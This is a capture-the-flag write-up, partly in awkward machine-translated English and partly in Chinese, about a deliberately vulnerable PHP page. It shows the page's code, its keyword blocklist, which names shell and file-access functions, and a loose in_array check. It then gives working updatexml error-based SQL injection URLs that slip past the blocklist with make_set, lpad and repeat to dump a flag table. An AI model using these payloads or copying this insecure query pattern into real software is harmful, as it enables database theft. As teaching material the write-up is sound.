Exercise Record
Reproduce the code:
index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
}
?>
config.php
<?php
$servername = "localhost:3306";
$username = "root";
$password = "root";
$dbname = "day1";
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>
Establish a database SQL statement:
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );
INSERT INTO users VALUES(1,'Lucia','[email protected]',3000);
INSERT INTO users VALUES(2,'Danny','[email protected]',4500);
INSERT INTO users VALUES(3,'Alina','[email protected]',2700);
INSERT INTO users VALUES(4,'Jameson','[email protected]',10000);
INSERT INTO users VALUES(5,'Allie','[email protected]',6000);
create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');
Vulnerability Analysis:
Enter the site:
http://192.168.1.139/array/index.php?id=2
Found page properly, you can operate the.
This question is examined in_array
to bypass the stitching function and can not use the updatexml
injection, let's look at in_array
the bypass. 11 to the lower row of FIG. 13:
In the program the user ID of the storage $whitelist
array, then the user id parameter passed through the first stop_hack
function was filtered, and then in_array
determines whether a user id parameter passed in $whitelist
the array. This in_array
function does not use strong match, it can be bypassed.
updatexml:
Then talk about the updatexml
injection, when updatexml
the presence of special characters or letters, there will be an error, the error message is a special character, and after the contents of the letter, that if we want to query the data that begins with a number, for example 7701HongRi, then the query The results will only show HongRi. So we will see a lot updatexml
injected payload
is so long and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
, in front of the data to be queried with a special symbol (here 0x7e
symbol '~'
).
We look at what stop_hack filter function. This method can be found in the filter string concatenation function concat
, so we have to use other methods to bypass.
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>
Filtered character
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
There Gangster analysis updatexml article
既然updatexml函数是从特殊字符、字母后面开始截取的,我们就需要在我们想要的数据前面拼接上特殊字符。waf禁用了concat等常见字符串拼接函数,那么我们可以使用冷门的字符串处理函数绕过,这里感谢
雨了个雨
师傅提供的payload
select updatexml(1,make_set(3,'~',(select user())),1);
关于make_set
函数的用法,可以参考:mysql MAKE_SET()用法
make_set函数的用法:
MAKE_SET(bits,str1,str2,…)
返回一个设定值 (一个包含被‘,’号分开的字字符串的字符串) ,由在bits 组中具有相应的比特的字符串组成。str1 对应比特 0, str2 对应比特1,以此类推。str1, str2, …中的 NULL值不会被添加到结果中。
eg1
bits将转为二进制,1的二进制为0001,倒过来为1000,所以取str1(a),打印a.
eg2
bits将转为二进制,3的二进制为0011,倒过来为1100,所以取str1(a),str2(b),打印a,b.
eg3
1|4转为二进制为0001 | 0100, | 是进行或运算,得到0101,倒过来为1010,所以取str1(a),str(3),打印hello,world.
eg4
这个跟上一步是一样的由于str(3)是null,所以不输出
我们还可以找到类似的函数:lpad()
、reverse()
、repeat()
、export_set()
(lpad()、reverse()、repeat()
这三个函数使用的前提是所查询的值中,必须至少含有一个特殊字符,否则会漏掉一些数据)。
payload:
http://192.168.1.139/array/index.php?id=2 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
下面同理:
http://192.168.1.139/array/index.php?id=2 and (select updatexml(1,lpad('{',100,(select flag from flag)),1))
http://192.168.1.139/array/index.php?id=2 and (select updatexml(1,repeat((select flag from flag),2),1))
http://192.168.1.139/array/index.php?id=2 and (select updatexml(1,(select flag from flag),1))
http://192.168.1.139/array/index.php?id=2 and (select updatexml(1,reverse((select flag from flag)),1))
这里前面是倒过来的: